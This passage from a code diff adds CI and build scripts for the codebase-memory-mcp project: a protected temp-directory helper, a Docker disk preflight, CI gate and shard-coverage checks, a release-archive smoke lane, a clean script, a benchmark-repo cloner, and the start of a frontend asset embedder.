{"SPDXID": "SPDXRef-Package-tree-sitter-grammars", "name": "tree-sitter-grammars-aggregate", "versionInfo": f"{n_grammars}-grammars", "licenseDeclared": "MIT", "downloadLocation": "NOASSERTION", "filesAnalyzed": False, "comment": f"Aggregate of {n_grammars} vendored tree-sitter grammars, compiled statically. Predominantly MIT; non-MIT families present include CC0-1.0 (clojure, fennel), Apache-2.0 (elixir, erlang, gleam, hcl, ini, jinja2, just, pkl, sway, wit), ISC (pine, templ), Unlicense (fish); first-party grammars (c) DeusData, MIT. This summary is non-exhaustive; the authoritative complete per-grammar license list is internal/cbm/vendored/grammars/MANIFEST.md, and full license texts ship in THIRD_PARTY_NOTICES.md inside each archive."},
|
||||
],
|
||||
}
|
||||
json.dump(sbom, open("sbom.json", "w"), indent=2)
|
||||
print(f"sbom.json written ({n_grammars} grammars, version {version})")
|
||||
@@ -0,0 +1,74 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Create a protected per-user temp root and print its path.
|
||||
|
||||
.DESCRIPTION
|
||||
The daemon and install-flow suites fail closed on the MSYS-shared /tmp and on a
|
||||
runner's inherited LocalAppData\Temp ACLs: both grant mutation rights to
|
||||
Authenticated Users, which the launcher/daemon trust policy correctly refuses.
|
||||
Running them there produces security refusals, not test signal. Every venue
|
||||
therefore gives the harness a per-user root beneath the profile carrying an
|
||||
owner-stamped, protected current-SID DACL.
|
||||
|
||||
This is the single implementation. It was duplicated between
|
||||
.github/workflows/_test.yml and test-infrastructure/vm/vm-run-tests.sh - which
|
||||
let the two venues drift - and _soak.yml carried no copy at all, so CI soaked
|
||||
under the default runner TEMP while the local soak ran hardened.
|
||||
|
||||
.PARAMETER Prefix
|
||||
Directory-name prefix for the root. Also selects what -PruneStale sweeps, so
|
||||
each venue keeps its own namespace.
|
||||
|
||||
.PARAMETER ProtectDir
|
||||
Extra directories to create and stamp with the same protected DACL. The
|
||||
workspace drive root grants Authenticated Users Modify by inheritance - a shape
|
||||
real user checkouts under the profile do not have - so build outputs living
|
||||
there need the same treatment or the activation transaction's source-directory
|
||||
policy refuses them.
|
||||
|
||||
.PARAMETER PruneStale
|
||||
Remove earlier roots sharing this prefix before creating the new one. Intended
|
||||
for the long-lived VM, where roots accumulate; a fresh runner has none.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]$Prefix = 'cbm-tmp-',
|
||||
[string[]]$ProtectDir = @(),
|
||||
[switch]$PruneStale
|
||||
)
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
if ($PruneStale) {
|
||||
Get-ChildItem -LiteralPath $env:USERPROFILE -Directory -Filter "$Prefix*" `
|
||||
-ErrorAction SilentlyContinue |
|
||||
Remove-Item -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
|
||||
$rule = [System.Security.AccessControl.FileSystemAccessRule]::new(
|
||||
$sid,
|
||||
[System.Security.AccessControl.FileSystemRights]::FullControl,
|
||||
([System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor
|
||||
[System.Security.AccessControl.InheritanceFlags]::ObjectInherit),
|
||||
[System.Security.AccessControl.PropagationFlags]::None,
|
||||
[System.Security.AccessControl.AccessControlType]::Allow)
|
||||
|
||||
function Set-ProtectedAcl([string]$Path) {
|
||||
$acl = [System.Security.AccessControl.DirectorySecurity]::new()
|
||||
$acl.SetOwner($sid)
|
||||
$acl.SetAccessRuleProtection($true, $false)
|
||||
$acl.AddAccessRule($rule) | Out-Null
|
||||
Set-Acl -LiteralPath $Path -AclObject $acl
|
||||
}
|
||||
|
||||
$root = Join-Path $env:USERPROFILE ($Prefix + [guid]::NewGuid().ToString('N'))
|
||||
New-Item -ItemType Directory -Path $root | Out-Null
|
||||
Set-ProtectedAcl $root
|
||||
|
||||
foreach ($dir in $ProtectDir) {
|
||||
New-Item -ItemType Directory -Path $dir -Force | Out-Null
|
||||
Set-ProtectedAcl $dir
|
||||
}
|
||||
|
||||
Write-Output $root
|
||||
@@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env bash
|
||||
# Bring the container venue to the shape a GitHub runner would hand us, before
|
||||
# any docker-backed test/smoke run.
|
||||
#
|
||||
# A GitHub-hosted runner is ephemeral: fresh image, known-free disk, no leftover
|
||||
# containers or volumes from a previous job. Colima is long-lived, so exited
|
||||
# containers and orphaned volumes accumulate and the disk drifts down. That
|
||||
# drift is not cosmetic — a disk that fills mid-run fails deep inside the
|
||||
# install path and reads as a product bug rather than an environment one.
|
||||
#
|
||||
# Default sweep is the state a runner would never have carried in: stopped
|
||||
# containers, dangling images, unused volumes. The build cache is KEPT by
|
||||
# default — a runner restores an equivalent cache via actions/cache, so wiping
|
||||
# it locally would diverge from CI, not converge with it. --deep drops it too.
|
||||
#
|
||||
# Usage: preflight-docker.sh [--deep] [--min-free-gb N] [--skip-gate]
|
||||
set -euo pipefail
|
||||
|
||||
# A German (or any comma-decimal) locale makes awk print "76,38" and then parse
|
||||
# it back as 76, so the free-space gate would silently compare the wrong number.
|
||||
# Pin the numeric locale for every awk/df in this script.
|
||||
export LC_ALL=C
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/ci/preflight-docker.sh [--deep] [--min-free-gb N] [--skip-gate]
|
||||
|
||||
Bring the Colima/docker venue to the shape a GitHub runner would hand us,
|
||||
before any container-backed test/smoke/soak run (test-infrastructure/run.sh
|
||||
calls this automatically; CBM_SKIP_PREFLIGHT=1 opts out for a quick re-run).
|
||||
|
||||
Sweeps stopped containers, dangling images and unused anonymous volumes, then
|
||||
asserts free space on the filesystem backing the docker data root. The build
|
||||
cache and NAMED compose volumes are KEPT by default — they are this venue's
|
||||
analogue of actions/cache, so wiping them would diverge from CI, not converge.
|
||||
|
||||
Options:
|
||||
--deep Also drop the build cache, named volumes and every unused
|
||||
image (full cold start).
|
||||
--min-free-gb N Free-space floor (default 14 — the runner's SSD size).
|
||||
Below it the script BLOCKS with exit 1: a disk that fills
|
||||
mid-run fails deep inside the install path and reads as a
|
||||
product bug, so refusing to start is the correct outcome.
|
||||
--skip-gate Sweep and report, but never block (inspection only).
|
||||
-h, --help This text.
|
||||
EOF
|
||||
}
|
||||
|
||||
DEEP=0
|
||||
MIN_FREE_GB=14
|
||||
SKIP_GATE=0
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--deep) DEEP=1 ;;
|
||||
--min-free-gb) MIN_FREE_GB="${2:?--min-free-gb needs a value}"; shift ;;
|
||||
--skip-gate) SKIP_GATE=1 ;;
|
||||
-h | --help) usage; exit 0 ;;
|
||||
*) echo "preflight-docker: unknown argument '$1'. Please consult --help." >&2; exit 2 ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
if ! docker info >/dev/null 2>&1; then
|
||||
echo "preflight-docker: docker is not reachable — start Colima first" >&2
|
||||
echo " (Docker Desktop is broken on this machine; Colima is the runtime)" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
free_gb() {
|
||||
# Measure the filesystem that actually backs the docker data root, not the
|
||||
# VM's `/`: on Colima they are different mounts, and `/` reported 18 GB free
|
||||
# while 12.5 GB of images lived elsewhere. The host's own free space is
|
||||
# irrelevant to a container that fills the VM's disk.
|
||||
local root
|
||||
root="$(docker info --format '{{.DockerRootDir}}' 2>/dev/null || echo /var/lib/docker)"
|
||||
docker run --rm -v /:/hostroot alpine:3 \
|
||||
df -P "/hostroot${root}" 2>/dev/null |
|
||||
awk 'NR==2 {printf "%.2f", $4/1048576}'
|
||||
}
|
||||
|
||||
before="$(free_gb || echo 0)"
|
||||
echo "=== preflight-docker: sweeping runner-unlike residue ==="
|
||||
# Anonymous volumes only: the NAMED compose volumes are this venue's warm cache
|
||||
# (the local analogue of actions/cache), so dropping them would diverge from CI
|
||||
# rather than converge with it. --deep takes them too.
|
||||
docker container prune -f
|
||||
docker volume prune -f
|
||||
docker image prune -f
|
||||
if [ "$DEEP" -eq 1 ]; then
|
||||
echo "--- deep: dropping build cache, named volumes and every unused image ---"
|
||||
docker builder prune -af
|
||||
docker volume prune -af
|
||||
docker image prune -af
|
||||
fi
|
||||
after="$(free_gb || echo 0)"
|
||||
echo "preflight-docker: free-gb-before=${before} free-gb-after=${after}"
|
||||
docker system df
|
||||
|
||||
if [ "$SKIP_GATE" -eq 0 ] &&
|
||||
awk -v a="$after" -v m="$MIN_FREE_GB" 'BEGIN {exit !(a < m)}'; then
|
||||
echo "BLOCKED: ${after} GB free, need ${MIN_FREE_GB} GB. A GitHub runner never" >&2
|
||||
echo " starts this low, so this run would not be comparable. Re-run with" >&2
|
||||
echo " --deep to reclaim the build cache, or free space on the Colima VM." >&2
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env bash
|
||||
# require-all-green.sh — the aggregate gate step: fail unless every needed job
|
||||
# succeeded (or was legitimately skipped).
|
||||
#
|
||||
# Canonical CI step (called by pr.yml ci-ok with RESULTS = toJSON(needs)).
|
||||
# Lived inline in workflow YAML until 2026-07-26; the venue-parity contract
|
||||
# forbids logic in workflow run-blocks. `skipped` counts as OK because gated
|
||||
# jobs (e.g. pr-smoke on docs-only PRs) skip by design — a matrix rename can
|
||||
# still never silently deadlock a merge, which is this gate's purpose.
|
||||
#
|
||||
# Usage: RESULTS='<json of the needs context>' scripts/ci/require-all-green.sh
|
||||
set -euo pipefail
|
||||
|
||||
case "${1:-}" in
|
||||
-h | --help)
|
||||
sed -n '2,11p' "$0" | sed 's/^# \{0,1\}//'
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
: "${RESULTS:?set RESULTS to the toJSON(needs) context}"
|
||||
|
||||
printf '%s' "$RESULTS" | python3 -c "
|
||||
import json, sys
|
||||
needs = json.load(sys.stdin)
|
||||
bad = {k: v['result'] for k, v in needs.items() if v['result'] not in ('success', 'skipped')}
|
||||
if bad:
|
||||
print('CI NOT OK:', bad)
|
||||
sys.exit(1)
|
||||
print('CI OK:', ', '.join(needs))
|
||||
"
|
||||
@@ -0,0 +1,121 @@
|
||||
#!/usr/bin/env bash
|
||||
# smoke-artifact.sh — the local ARTIFACT-FLOW smoke lane. The release venue
|
||||
# smokes the shipped archive (download → extract → canonical wrapper); before
|
||||
# this lane existed, local CI only ever smoked source builds, so the whole
|
||||
# packaging/archive-layout bug class could first appear in a release dry run.
|
||||
#
|
||||
# This driver reproduces the release flow end to end with local bytes:
|
||||
# scripts/build.sh → scripts/package-release.sh → extract →
|
||||
# the SAME canonical wrapper the remote venue runs, in artifact mode
|
||||
# (CBM_SMOKE_ARTIFACT_DIR), whose completeness checks make a broken or
|
||||
# incomplete archive a loud failure.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/ci/smoke-artifact.sh <goos> <goarch> [--variant standard|ui]
|
||||
[VAR=VAL ...]
|
||||
|
||||
Build → package (scripts/package-release.sh) → extract → smoke the EXTRACTED
|
||||
artifact through the canonical wrapper, exactly like the release venue:
|
||||
unix: scripts/smoke-local.sh with CBM_SMOKE_ARTIFACT_DIR
|
||||
windows: test-infrastructure/vm/vm-smoke.sh with CBM_SMOKE_ARTIFACT_DIR
|
||||
(run inside the VM/CI msys2 shell)
|
||||
|
||||
--variant ui builds --with-ui and smokes the ui archive (Phase 15 embedded
|
||||
assets become mandatory — a standard binary cannot pass a ui run).
|
||||
|
||||
Make passthrough (VAR=VAL): CC= CXX= STATIC=1 ... forwarded to build steps.
|
||||
Environment: BUILD_DIR (default build/c) — build tree used for the archive.
|
||||
On failure the work directory is preserved for post-mortem (path printed).
|
||||
EOF
|
||||
}
|
||||
|
||||
GOOS=""
|
||||
GOARCH=""
|
||||
VARIANT="standard"
|
||||
BUILD_ARGS=()
|
||||
expect_value=""
|
||||
for arg in "$@"; do
|
||||
if [ "$expect_value" = "variant" ]; then
|
||||
VARIANT="$arg"; expect_value=""; continue
|
||||
fi
|
||||
case "$arg" in
|
||||
-h | --help) usage; exit 0 ;;
|
||||
--variant) expect_value="variant" ;;
|
||||
--variant=*) VARIANT="${arg#--variant=}" ;;
|
||||
-*)
|
||||
echo "smoke-artifact: unknown option '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
*=*) BUILD_ARGS+=("$arg") ;;
|
||||
*)
|
||||
if [ -z "$GOOS" ]; then GOOS="$arg"
|
||||
elif [ -z "$GOARCH" ]; then GOARCH="$arg"
|
||||
else
|
||||
echo "smoke-artifact: unexpected argument '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done
|
||||
[ -n "$GOOS" ] && [ -n "$GOARCH" ] || { usage >&2; exit 2; }
|
||||
case "$VARIANT" in
|
||||
standard) SUFFIX=""; UI_FLAG=() ;;
|
||||
ui) SUFFIX="-ui"; UI_FLAG=(--with-ui) ;;
|
||||
*) echo "smoke-artifact: variant must be 'standard' or 'ui'. Please consult --help." >&2; exit 2 ;;
|
||||
esac
|
||||
case "$GOARCH" in
|
||||
*-portable) BUILD_ARGS+=("STATIC=1") ;;
|
||||
esac
|
||||
|
||||
BUILD_DIR="${BUILD_DIR:-build/c}"
|
||||
export BUILD_DIR
|
||||
|
||||
scripts/build.sh ${UI_FLAG[@]+"${UI_FLAG[@]}"} \
|
||||
BUILD_DIR="$BUILD_DIR" ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"}
|
||||
if [ "$GOOS" = "darwin" ]; then
|
||||
codesign --sign - --force "$BUILD_DIR/codebase-memory-mcp"
|
||||
fi
|
||||
|
||||
WORK_DIR="$(mktemp -d "${TMPDIR:-/tmp}/cbm-smoke-artifact.XXXXXX")"
|
||||
cleanup() {
|
||||
local status=$?
|
||||
trap - EXIT
|
||||
if [ "$status" -eq 0 ]; then
|
||||
rm -rf "$WORK_DIR"
|
||||
else
|
||||
echo "smoke-artifact: preserved failed lane root at $WORK_DIR" >&2
|
||||
fi
|
||||
exit "$status"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
scripts/package-release.sh "$GOOS" "$GOARCH" --variant "$VARIANT" \
|
||||
--out-dir "$WORK_DIR" ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"}
|
||||
|
||||
NAME="codebase-memory-mcp${SUFFIX}-${GOOS}-${GOARCH}"
|
||||
EXTRACT_DIR="$WORK_DIR/extract"
|
||||
mkdir -p "$EXTRACT_DIR"
|
||||
if [ "$GOOS" = "windows" ]; then
|
||||
unzip -q -o "$WORK_DIR/$NAME.zip" -d "$EXTRACT_DIR"
|
||||
test -s "$EXTRACT_DIR/codebase-memory-mcp.exe"
|
||||
# ONE binary per platform: a payload sibling means the AV-flagged launcher
|
||||
# stub came back.
|
||||
test ! -e "$EXTRACT_DIR/codebase-memory-mcp.payload.exe"
|
||||
echo "=== smoke-artifact: smoking EXTRACTED $NAME.zip via vm-smoke.sh ==="
|
||||
SMOKE_ARCH="$GOARCH" SMOKE_VARIANT="$VARIANT" \
|
||||
CBM_SMOKE_ARTIFACT_DIR="$EXTRACT_DIR" \
|
||||
bash test-infrastructure/vm/vm-smoke.sh
|
||||
else
|
||||
tar -xzf "$WORK_DIR/$NAME.tar.gz" -C "$EXTRACT_DIR"
|
||||
chmod +x "$EXTRACT_DIR/codebase-memory-mcp"
|
||||
echo "=== smoke-artifact: smoking EXTRACTED $NAME.tar.gz via smoke-local.sh ==="
|
||||
CBM_SMOKE_ARTIFACT_DIR="$EXTRACT_DIR" \
|
||||
scripts/smoke-local.sh "$EXTRACT_DIR/codebase-memory-mcp" "$VARIANT"
|
||||
fi
|
||||
echo "=== smoke-artifact: $NAME passed ==="
|
||||
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env bash
|
||||
# verify-shard-union.sh — prove the sharded test legs lost nothing.
|
||||
#
|
||||
# Canonical CI step (called by _test.yml's shard-completeness job on the
|
||||
# downloaded shard-manifest-* artifacts). Lived inline in workflow YAML until
|
||||
# 2026-07-26; the venue-parity contract forbids logic in workflow run-blocks.
|
||||
#
|
||||
# For every leg it asserts: all shards agree on the shard count, indices form
|
||||
# exactly 1..n, every shard saw the same full suite list, and the UNION of the
|
||||
# shard slices equals that list — a rename/re-shard can never silently drop a
|
||||
# suite (gate-quality loss) without failing here.
|
||||
#
|
||||
# Usage: scripts/ci/verify-shard-union.sh <manifests-dir>
|
||||
set -eu
|
||||
|
||||
case "${1:-}" in
|
||||
-h | --help)
|
||||
sed -n '2,13p' "$0" | sed 's/^# \{0,1\}//'
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
MANIFEST_DIR="${1:?usage: verify-shard-union.sh <manifests-dir> (see --help)}"
|
||||
|
||||
files=$(find "$MANIFEST_DIR" -name shard-manifest.txt | sort)
|
||||
if [ -z "$files" ]; then
|
||||
echo "FAIL: no shard manifests were uploaded" >&2
|
||||
exit 1
|
||||
fi
|
||||
rc=0
|
||||
for leg in $(grep -h '^leg=' $files | sort -u | sed 's/^leg=//'); do
|
||||
leg_files=$(grep -l "^leg=$leg\$" $files)
|
||||
n=$(grep -h '^shard=' $leg_files | sed 's|.*/||' | sort -u)
|
||||
if [ "$(printf '%s\n' "$n" | wc -l)" -ne 1 ]; then
|
||||
echo "FAIL: $leg shards disagree on shard count: $n" >&2
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
indices=$(grep -h '^shard=' $leg_files | sed 's/^shard=//;s|/.*||' | sort -n)
|
||||
if [ "$indices" != "$(seq 1 "$n")" ]; then
|
||||
echo "FAIL: $leg shard indices [$indices] != 1..$n" >&2
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
list_sha=$(grep -h '^list_sha256=' $leg_files | sed 's/^list_sha256=//' | sort -u)
|
||||
if [ "$(printf '%s\n' "$list_sha" | wc -l)" -ne 1 ]; then
|
||||
echo "FAIL: $leg shards saw different suite lists" >&2
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
union_sha=$(for f in $leg_files; do
|
||||
sed -n '/^--- slice ---$/,$p' "$f" | tail -n +2
|
||||
done | sort | sha256sum | awk '{print $1}')
|
||||
if [ "$union_sha" != "$list_sha" ]; then
|
||||
echo "FAIL: $leg union of shard slices != full suite list (GATE-QUALITY LOSS)" >&2
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
echo "OK: $leg — $n shard(s), union of slices == full suite list"
|
||||
done
|
||||
exit "$rc"
|
||||
@@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env bash
|
||||
# clean.sh — Remove ALL build artifacts, caches, and generated files.
|
||||
#
|
||||
# Usage: scripts/clean.sh
|
||||
#
|
||||
# Ensures every subsequent build starts from scratch — no cached .o files,
|
||||
# no stale node_modules, no leftover dist folders. This is the first step
|
||||
# in both scripts/test.sh and scripts/build.sh.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
|
||||
# shellcheck source=path-safety.sh
|
||||
source "$ROOT/scripts/path-safety.sh"
|
||||
|
||||
# Containerized legs build in their own directory (BUILD_DIR env) so a
|
||||
# container clean never deletes the host's native build/c mid-build.
|
||||
BUILD_DIR="${BUILD_DIR:-build/c}"
|
||||
|
||||
echo "=== Cleaning build artifacts ($BUILD_DIR) ==="
|
||||
|
||||
# C build artifacts
|
||||
cbm_remove_build_dir "$ROOT" "$BUILD_DIR"
|
||||
|
||||
# Frontend build artifacts
|
||||
rm -rf "$ROOT/graph-ui/dist"
|
||||
rm -rf "$ROOT/graph-ui/node_modules"
|
||||
|
||||
# Root-level node artifacts (if any)
|
||||
rm -rf "$ROOT/node_modules"
|
||||
|
||||
# Generated embedded assets (regenerated by embed-frontend.sh)
|
||||
rm -f "$ROOT/src/ui/embedded_assets.c"
|
||||
|
||||
# Leftover test fixture dirs (C test suite sometimes creates these in CWD)
|
||||
find "$ROOT" -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -exec rm -rf {} + 2>/dev/null || true
|
||||
|
||||
# Leftover test fixture dirs in /tmp
|
||||
find /tmp -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -user "$(id -u)" -exec rm -rf {} + 2>/dev/null || true
|
||||
|
||||
echo "=== Clean complete ==="
|
||||
@@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Clone benchmark repositories for MCP vs Explorer quality comparison.
|
||||
# Uses shallow clones (--depth 1) to minimize disk usage.
|
||||
# Shared repos are cloned once and symlinked for secondary languages.
|
||||
|
||||
BENCH_DIR="${1:-/tmp/bench}"
|
||||
|
||||
clone() {
|
||||
local lang="$1" repo="$2" subdir="${3:-}"
|
||||
local dest="$BENCH_DIR/$lang"
|
||||
if [ -d "$dest" ]; then
|
||||
echo "SKIP: $lang (exists)"
|
||||
return
|
||||
fi
|
||||
echo "CLONE: $lang <- $repo"
|
||||
git clone --depth 1 --quiet "https://github.com/$repo.git" "$dest"
|
||||
echo " OK: $(du -sh "$dest" | cut -f1)"
|
||||
}
|
||||
|
||||
symlink() {
|
||||
local lang="$1" source_lang="$2"
|
||||
local dest="$BENCH_DIR/$lang"
|
||||
if [ -d "$dest" ] || [ -L "$dest" ]; then
|
||||
echo "SKIP: $lang (exists)"
|
||||
return
|
||||
fi
|
||||
echo "LINK: $lang -> $source_lang"
|
||||
ln -s "$BENCH_DIR/$source_lang" "$dest"
|
||||
}
|
||||
|
||||
mkdir -p "$BENCH_DIR"
|
||||
|
||||
# Programming languages — Tier 1 (44 languages)
|
||||
# Target: 100K+ LOC per repo for meaningful performance benchmarks
|
||||
clone go "kubernetes/kubernetes" # 3.5M LOC, the Go benchmark
|
||||
clone python "django/django" # 350K+ LOC, web framework
|
||||
clone javascript "vercel/next.js" # 500K+ LOC, React framework
|
||||
clone typescript "microsoft/TypeScript" # 1M+ LOC, the TS compiler
|
||||
clone tsx "shadcn-ui/ui" # 728K LOC (already large)
|
||||
clone java "elastic/elasticsearch" # 2M+ LOC, search engine
|
||||
clone kotlin "JetBrains/Exposed" # 977K LOC (already large)
|
||||
clone scala "apache/spark" # 1M+ LOC, big data
|
||||
clone rust "meilisearch/meilisearch" # 409K LOC (already large)
|
||||
clone c "redis/redis" # 546K LOC (already large)
|
||||
clone cpp "protocolbuffers/protobuf" # 500K+ LOC, real .cpp files
|
||||
clone csharp "dotnet/runtime" # Massive C# runtime
|
||||
clone php "koel/koel" # 189K LOC (OK)
|
||||
clone ruby "rails/rails" # 500K+ LOC, the Ruby framework
|
||||
clone lua "neovim/neovim" # 500K+ LOC, editor
|
||||
clone bash "ohmyzsh/ohmyzsh" # 100K+ .sh files
|
||||
clone zig "tigerbeetle/tigerbeetle" # 224K LOC (already large)
|
||||
clone haskell "jgm/pandoc" # 433K LOC (already large)
|
||||
clone ocaml "ocaml/dune" # 345K LOC (already large)
|
||||
clone elixir "plausible/analytics" # 677K LOC (already large)
|
||||
clone erlang "emqx/emqx" # 500K+ LOC, MQTT broker
|
||||
clone objc "realm/realm-cocoa" # 200K+ LOC, database SDK
|
||||
clone swift "Alamofire/Alamofire" # 370K LOC (already large)
|
||||
clone dart "felangel/bloc" # 285K LOC (already large)
|
||||
clone perl "movabletype/movabletype" # 300K+ LOC, CMS
|
||||
clone groovy "spockframework/spock" # 137K LOC (OK)
|
||||
clone r "tidyverse/ggplot2" # 150K+ LOC, visualization
|
||||
clone clojure "clojure/clojure" # 108K LOC (OK)
|
||||
clone fsharp "dotnet/fsharp" # 500K+ LOC, the F# compiler
|
||||
clone julia "JuliaLang/julia" # 1M+ LOC, the Julia runtime
|
||||
clone vimscript "SpaceVim/SpaceVim" # 2.6M LOC (already huge)
|
||||
clone nix "NixOS/nixpkgs" # 6M LOC (already huge)
|
||||
clone commonlisp "lem-project/lem" # 1.2M LOC (already large)
|
||||
clone elm "elm/compiler" # 57K LOC (largest Elm repo available)
|
||||
clone fortran "cp2k/cp2k" # 5.9M LOC (already huge)
|
||||
clone cobol "OCamlPro/gnucobol" # 540K LOC (already large)
|
||||
clone verilog "YosysHQ/yosys" # 517K LOC (already large)
|
||||
clone emacslisp "emacs-mirror/emacs" # 5.3M LOC (already huge)
|
||||
clone matlab "acristoffers/tree-sitter-matlab" # 133K LOC (best available)
|
||||
clone lean "leanprover-community/mathlib4" # 2.3M LOC (already huge)
|
||||
clone form "vermaseren/form" # 221K LOC (already large)
|
||||
clone wolfram "WolframResearch/WolframLanguageForJupyter" # 4K LOC (largest public Wolfram repo)
|
||||
|
||||
# Helper languages — Tier 2 (22 languages)
|
||||
clone yaml "kubernetes/examples" # K8s manifests
|
||||
clone hcl "hashicorp/terraform-provider-aws" # 1M+ LOC, massive HCL
|
||||
clone scss "twbs/bootstrap" # 120K LOC (OK)
|
||||
clone dockerfile "docker-library/official-images" # Docker configs
|
||||
clone cmake "Kitware/CMake" # 1.7M LOC (already huge)
|
||||
clone protobuf "googleapis/googleapis" # 2.2M LOC (already huge)
|
||||
clone graphql "graphql/graphql-spec" # 23K LOC (largest pure GraphQL)
|
||||
clone vue "vuejs/core" # 200K+ LOC, Vue 3 core
|
||||
clone svelte "sveltejs/svelte" # 267K LOC (already large)
|
||||
clone meson "mesonbuild/meson" # 237K LOC (already large)
|
||||
|
||||
# Shared repos (symlinked — language uses same repo as primary)
|
||||
symlink html javascript # Express views contain HTML
|
||||
symlink css tsx # shadcn-ui styles
|
||||
symlink toml rust # meilisearch Cargo.toml + config
|
||||
symlink sql java # spring-petclinic SQL schemas
|
||||
clone cuda "NVIDIA/cuda-samples"
|
||||
symlink json typescript # trpc JSON configs
|
||||
symlink xml java # spring-petclinic XML configs
|
||||
symlink markdown python # httpie docs
|
||||
symlink makefile c # redis Makefile
|
||||
clone glsl "repalash/Open-Shaders"
|
||||
symlink ini python # httpie .cfg/.ini files
|
||||
symlink magma lean # .m files — disambiguated via content markers
|
||||
symlink kubernetes yaml # YAML subtype — Deployment/Service manifests
|
||||
symlink kustomize yaml # YAML subtype — kustomization.yaml
|
||||
|
||||
echo ""
|
||||
echo "=== Clone complete ==="
|
||||
ls -1 "$BENCH_DIR/" | wc -l | xargs printf "%s repos ready in $BENCH_DIR\n"
|
||||
@@ -0,0 +1,194 @@
|
||||
#!/usr/bin/env bash
|
||||
# embed-frontend.sh — Convert built frontend assets into linkable object files.
|
||||
#
|
||||
# Usage: scripts/embed-frontend.sh <dist_dir> <output_dir>
|
||||
#
|
||||
# For each file in dist_dir, creates:
|
||||
# 1. An object file via `ld -r -b binary` (raw bytes, zero bloat)
|
||||
# 2. A generated embedded_assets.c with a lookup table
|
||||
#
|
||||
# Symbols created per file: _binary_<mangled_name>_start, _binary_<mangled_name>_end
|
||||
# On macOS, these get a leading underscore: __binary_<mangled_name>_start
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
DIST_DIR="${1:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
|
||||
OUTPUT_DIR="${2:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
|
||||
|
||||
# Clean old embedded objects (asset hashes change on each build)
|
||||
rm -rf "$OUTPUT_DIR"
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
# Detect platform — Linux uses ld -r -b binary, everything else uses xxd+cc
|
||||
IS_LINUX=false
|
||||
if [[ "$(uname -s)" == "Linux" ]] && ! [[ "$(uname -s)" =~ MINGW|MSYS ]]; then
|
||||
IS_LINUX=true
|
||||
fi
|
||||
|
||||
# Content-type detection
|
||||
content_type_for() {
|
||||
local f="$1"
|
||||
case "$f" in
|
||||
*.html) echo "text/html" ;;
|
||||
*.js) echo "application/javascript" ;;
|
||||
*.css) echo "text/css" ;;
|
||||
*.json) echo "application/json" ;;
|
||||
*.svg) echo "image/svg+xml" ;;
|
||||
*.png) echo "image/png" ;;
|
||||
*.ico) echo "image/x-icon" ;;
|
||||
*.woff2) echo "font/woff2" ;;
|
||||
*.woff) echo "font/woff" ;;
|
||||
*.map) echo "application/json" ;;
|
||||
*) echo "application/octet-stream" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Mangle filename to valid C symbol: replace non-alnum with _
|
||||
mangle() {
|
||||
echo "$1" | sed 's/[^a-zA-Z0-9]/_/g'
|
||||
}
|
||||
|
||||
# Collect all files
|
||||
FILES=()
|
||||
while IFS= read -r -d '' file; do
|
||||
FILES+=("$file")
|
||||
done < <(find "$DIST_DIR" -type f -print0 | sort -z)
|
||||
|
||||
if [[ ${#FILES[@]} -eq 0 ]]; then
|
||||
echo "Error: no files found in $DIST_DIR" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Embedding ${#FILES[@]} files from $DIST_DIR"
|
||||
|
||||
# Generate object files
|
||||
OBJ_FILES=()
|
||||
for file in "${FILES[@]}"; do
|
||||
rel="${file#$DIST_DIR/}"
|
||||
mangled=$(mangle "$rel")
|
||||
obj="$OUTPUT_DIR/embed_${mangled}.o"
|
||||
|
||||
if $IS_LINUX; then
|
||||
# Linux: ld -r -b binary (zero bloat, ELF only)
|
||||
abs_obj="$(cd "$(dirname "$0")/.." && pwd)/$obj"
|
||||
(cd "$DIST_DIR" && ld -r -b binary -o "$abs_obj" "$rel")
|
||||
else
|
||||
# macOS/Windows/MSYS2: generate C byte array + cc (no xxd dependency)
|
||||
local_c="$OUTPUT_DIR/embed_${mangled}.c"
|
||||
local_sym="_binary_${mangled}"
|
||||
|
||||
echo "/* Generated from $rel */" > "$local_c"
|
||||
echo "const unsigned char ${local_sym}_data[] = {" >> "$local_c"
|
